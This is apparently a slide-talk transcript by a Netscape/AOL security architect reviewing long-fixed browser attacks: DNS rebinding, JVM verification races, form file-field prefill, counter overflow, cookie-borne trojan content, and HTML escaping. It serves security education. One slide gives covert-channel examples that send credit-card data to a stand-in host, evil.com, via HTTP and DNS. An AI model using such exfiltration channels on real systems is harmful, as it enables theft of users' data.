Attacks Against the Netscape Browser. Jim Roskind, PhD VP, Chief Technical Officer AOL Products America Online Inc. Introduction. Attacks listed have long since been fixed. …but techniques seem to last forever History forgotten, is doomed to be repeated.
Attacks Against the Netscape Browser Jim Roskind, PhD VP, Chief Technical Officer AOL Products America Online Inc.
Introduction Attacks listed have long since been fixed. …but techniques seem to last forever History forgotten, is doomed to be repeated. Open source policy suggested additional disclosure… and here I am.
Who is Jim Roskind? • Started doing Java security work on Navigator in November 1995 • Participated in most security firedrill responses to date • Worked as Java Security Architect, developing signed code methodology
What is an Attack? • Data on a computer is taken without permission • Viewing history file, prefs, directory structure • Extreme: Client computer runs attacker’s binary code (a Very Bad ThingTM) • Minor attack would involve revealing a file’s existence
What isn’t an Attack? • Denial of service • Too easy for user to terminate or avoid • Too hard to tell where a jpeg decoding is in progress • It is very hard to stop a Java thread • Threads can catch exceptions, and start new threads :-(
Covert Channels: Getting the info Home to evil.com • Connect home via http get • get www.evil.com/goodies?CreditCard… • Let DNS lookup carry the info • get IP for creditCard5551212.goodies.evil.com • Covert channels will always exist
DNS (Domain Name Service) • Java applets can traditionally only “phone home” • JS can read content from similarly sourced pages and frames • What is the definition of home? • Applet sourced from www.evil.com • Can the applet contact www.evil.com? • What exactly is www.evil.com?
DNS: Names to IP address • DNS Supports multiple IP addresses for a single name • Are all such IPs equivalent?? • DNS is dynamic • The mapping is time varying! • Is the new IP equivalent to the old IP??
Can you trust DNS info? browser user.victim.com 220.127.116.11 www.evil.com 18.104.22.1686 22.214.171.124 target.victim.com 126.96.36.199 firewall
First time, DNS is truthful browser Get www.evil.com user.victim.com 188.8.131.52 www.evil.com 184.108.40.2066 target.victim.com 220.127.116.11 firewall
Second time, DNS misdirects browser Get www.evil.com user.victim.com 18.104.22.168 www.evil.com 22.214.171.124 target.victim.com 126.96.36.199 firewall
DNS False Advertising • “Real” problem is that DNS info arrived from *outside* containing intranet IP numbers • Firewall should stop such propagation • Browser fix: Permanently cache exactly one IP after a single lookup • Not friendly to dynamic internet… but safe
Lesson Relearned: Composition of Safe systems can be unsafe • DNS False advertising does not require a compromise of DNS infrastructure • Don’t assume the world around is fixed and unchanging • DNS had dynamic nature that was NOT conceptually obvious
Class Verification in JVM • Load a class • Work out inheritance and overloading • Initialize Vtables while working • Vtables are used to call “methods” • Load referenced classes • Causes recursion sometimes • Verify legal calling and arguments • Mark class as Verified
Class Verification in JVM • Bug was reported that “method dispatch” was causing a “null pointer” exception • This meant vtable used before being initialized! • This meant dispatch before verification • Problem was in “recursion” handling
Multithreaded JVM Class verification is not easy • Class A refers to Class B, and vice versa • Thread 1 starts using class A • Thread 2 starts using class B • Thread 1 starts verifying A, thread 2 starts verifying B • When is verification done? ;-)
Multithreaded apps are everywhere • Two applets on a page is actually what surfaced this problem • Reporters of this bug did not mention (or realize) that their app had run on multiple threads
Lesson Relearned: Security fundamental functions, such as class verification, need a LOT of review • Independent work caused rewrite of this code • Class verification is hard
Page Reloading with Old State • Enter text in a form • Follow a link • Press back • Your original text is restored into form
Initial value in forms can be dangerous • Initial values for “text” fields are safe, common and helpful • Prefill fields to save user typing • Initial value for “file” fields are dangerous • A file field specifies file to upload (send? Steal?) to the server
Lesson Relearned: Adding new features (JS) can break old security • Original implementation has reasonable assumptions • If it is in the cache, it must still be the same value… right?? • Browsers are very complex beasts when security is contemplated • Adding JS changed all the rules
How many Atoms in our Universe? • Atom is a spelling of a var or func name • JVM *had* 2^16 possible atom numbers • Who would use more than that many names? • Attacker overran counter, and it wrapped • “Verified classes” no longer called the intended method :-/
Controlling the number of atoms in the universe • Proper solution came much later • Max count pushed to 2^32 (or higher?) • Bounds checking was added • Short term Navigator solution: abort when atom table exhausted! • Zero reported defects from this hack solution!
Lesson relearned: Static limits are evil • There is more to overrun than string buffers! • If there is a limit, it must be checked
Trojan file landing locally • JS needs to interact with pages from the same “site” (codebase?) • Java needs to contact the home site (codebase?) • What can local JS and class files do? • Answer: Access other “local” content • Developers use this feature extensively
Trojan content may land in existing files • Cookies file contains contents supplied by server • Cookies can “look like” HTML and JS
If they can’t find local content, they can’t (ab)use it • Don’t let server know where content lands • “default” user was all too common • prefs.js file? Bookmarks file? Cookies file? • Make it hard to guess where user files are kept (Netscape 6/Mozilla technique) • Add poison to many files
Lesson Relearned: Try to formulate and publicize security requirements • The fact that it should be “hard” to guess locations of files is not well publicized • 3rd party content should not know where it lands • Dependencies on “public don’ts” make it hard to maintain security • Example: Don’t write down your password! • Example: Don’t reuse a password
Escaping HTML • Classic Server side App Flaw • To display “<“ use “@lt;” etc. • 3rd Party content must be escaped • Raw content simulates JS, and accesses cookies etc. etc. etc. • News groups? Chat? URL not found?
Client side HTML Escaping • Most displays appear in “local” context • about:global • about:cache • Content tags in incoming email! • Escape, escape, escape
Lesson Relearned: Apply attack techniques to different environments • Attacks on server must be studied • That’s why it was worth mentioning the attack technique here ;-)
Summary: Penetrate and Patch is a large part of real systems • A browser is a very complex system • To date, I don’t know of any “in the wild” exploits being used • Either we’re doing well, or our head is in the sand
Netscape is Always working to improve security • Send in security reports http://help.netscape.com/forms/bug-security.html • Bugs bounty program of $1000 still in place • You even get a T-Shirt ;-)